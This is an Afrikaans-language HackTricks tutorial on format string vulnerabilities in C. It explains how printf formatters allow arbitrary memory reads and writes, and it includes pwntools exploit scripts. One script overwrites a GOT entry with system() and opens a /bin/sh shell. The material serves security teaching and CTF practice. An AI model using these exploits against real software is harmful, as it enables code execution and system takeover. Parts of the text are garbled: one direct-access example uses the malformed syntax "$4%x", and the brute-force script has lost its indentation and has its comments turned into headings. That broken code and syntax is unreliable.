.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Formaatreekse
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersekerheidsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.
Basiese Inligting
In C is printf
'n funksie wat gebruik kan word om 'n string af te druk. Die eerste parameter wat hierdie funksie verwag, is die rou teks met die formateerders. Die volgende parameters wat verwag word, is die waardes om die formateerders van die rou teks te vervang.
Ander kwesbare funksies is sprintf()
en fprintf()
.
Die kwesbaarheid verskyn wanneer 'n aanvallersteks as die eerste argument vir hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale inset te skep deur misbruik te maak van die printf-formaatreeksvermoëns om enige data in enige adres te lees en skryf (leesbaar/skryfbaar). Deur op hierdie manier willekeurige kode uit te voer.
Formateerders:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Voorbeelde:
- Kwesbare voorbeeld:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normale Gebruik:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Met Ontbrekende Argumente:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf kwesbaar:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Toegang tot Aanwysers
Die formaat %<n>$x
, waar n
'n nommer is, maak dit moontlik om aan printf aan te dui om die n-de parameter (vanaf die stapel) te kies. Dus, as jy die 4de parameter vanaf die stapel wil lees deur printf te gebruik, kan jy dit doen:
printf("%x %x %x %x")
en jy sou van die eerste tot die vierde parameter lees.
Of jy kan doen:
printf("$4%x")
en lees direk die vierde.
Let daarop dat die aanvaller die pr
intf
parameter beheer, wat basies beteken dat sy inset in die stapel gaan wees wanneer printf
geroep word, wat beteken dat hy spesifieke geheue-adresse in die stapel kan skryf.
{% hint style="danger" %}
'n Aanvaller wat hierdie inset beheer, sal in staat wees om willekeurige adresse in die stapel by te voeg en printf
hulle te laat toegang. In die volgende afdeling sal verduidelik word hoe om van hierdie gedrag gebruik te maak.
{% endhint %}
Willekeurige Lees
Dit is moontlik om die formateerder %n$s
te gebruik om printf
die adres wat in die n-posisie geleë is, te laat kry, dit te volg en dit te druk asof dit 'n string was (druk totdat 'n 0x00 gevind word). So as die basisadres van die binêre lêer 0x8048000
is, en ons weet dat die gebruikerinset begin in die 4de posisie in die stapel, is dit moontlik om die begin van die binêre lêer te druk met:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Let daarop dat jy nie die adres 0x8048000 aan die begin van die inset kan plaas nie, omdat die string in 0x00 aan die einde van daardie adres sal word gekat. {% endhint %}
Vind offset
Om die offset na jou inset te vind, kan jy 4 of 8 bytes (0x41414141
) stuur gevolg deur %1$x
en verhoog die waarde totdat jy die A's
terugkry.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Hoe nuttig
Willekeurige leesaksies kan nuttig wees om:
- **Dump** die **binêre** vanaf die geheue
- **Toegang tot spesifieke dele van die geheue waar sensetiewe** **inligting** gestoor word (soos kanaries, enkripsiesleutels of aangepaste wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Willekeurige Skryfaksie**
Die formateerder **`$<num>%n`** **skryf die aantal geskrewe bytes** in die **aangeduide adres** in die \<num> param in die stapel. As 'n aanvaller soveel karakters as hy wil met printf kan skryf, sal hy in staat wees om **`$<num>%n`** 'n willekeurige getal in 'n willekeurige adres te laat skryf.
Gelukkig is dit nie nodig om 9999 "A"s by die inset te voeg om die nommer 9999 te skryf nie, om dit te doen, is dit moontlik om die formateerder **`%.<num-write>%<num>$n`** te gebruik om die nommer **`<num-write>`** in die **adres aangedui deur die `num` posisie** te skryf.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Egter, let daarop dat gewoonlik om 'n adres soos 0x08049724
te skryf (wat 'n GROOT nommer is om in een keer te skryf), word $hn
gebruik in plaas van $n
. Dit maak dit moontlik om slegs 2 Bytes te skryf. Daarom word hierdie operasie twee keer uitgevoer, een keer vir die hoogste 2B van die adres en nog 'n keer vir die laer een.
Hierdie kwesbaarheid maak dit dus moontlik om enigiets in enige adres te skryf (arbitrêre skryf).
In hierdie voorbeeld gaan die doel wees om die adres van 'n funksie in die GOT-tabel te oorwryf wat later geroep gaan word. Alhoewel dit ander arbitrêre skryf na uitvoerings tegnieke kan misbruik:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Ons gaan 'n funksie wat sy argumente van die gebruiker ontvang oorskryf en dit na die system
funksie wysig.
Soos genoem, om die adres te skryf, is gewoonlik 2 stappe nodig: Jy skryf eers 2Bytes van die adres en dan die ander 2. Om dit te doen word $hn
gebruik.
- HOB word genoem na die 2 hoër bytes van die adres
- LOB word genoem na die 2 laer bytes van die adres
Dan, as gevolg van hoe die formaatstring werk, moet jy eerstens die kleinste van [HOB, LOB] skryf en dan die ander.
As HOB < LOB
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
As HOB > LOB
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Templaat
Jy kan 'n templaat vind om 'n aanval vir hierdie soort kwesbaarheid voor te berei in:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Of hierdie basiese voorbeeld van hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Formaat Strings na BOF
Dit is moontlik om die skryfaksies van 'n formaatstring-kwesbaarheid te misbruik om adres van die stok te skryf en 'n buffer overflow-tipe kwesbaarheid te misbruik.
Ander Voorbeelde & Verwysings
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, geen relro, geen kanarie, nx, geen pie, basiese gebruik van formaatstrings om die vlag van die stok te lek (geen nodigheid om die uitvoervloei te verander)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, geen kanarie, nx, geen pie, formaatstring om die adres
fflush
met die wenfunksie te oorskryf (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, geen kanarie, nx, geen pie, formaatstring om 'n adres binne die hoofprogram in
.fini_array
te skryf (sodat die vloei 1 keer meer terugslaan) en die adres nasystem
in die GOT-tabel te skryf wat nastrlen
wys. Wanneer die vloei terugkeer na die hoofprogram, wordstrlen
uitgevoer met gebruikersinvoer en wat nasystem
wys, sal dit die oorgedraagde opdragte uitvoer.
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersekerheidsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks repo en hacktricks-cloud repo.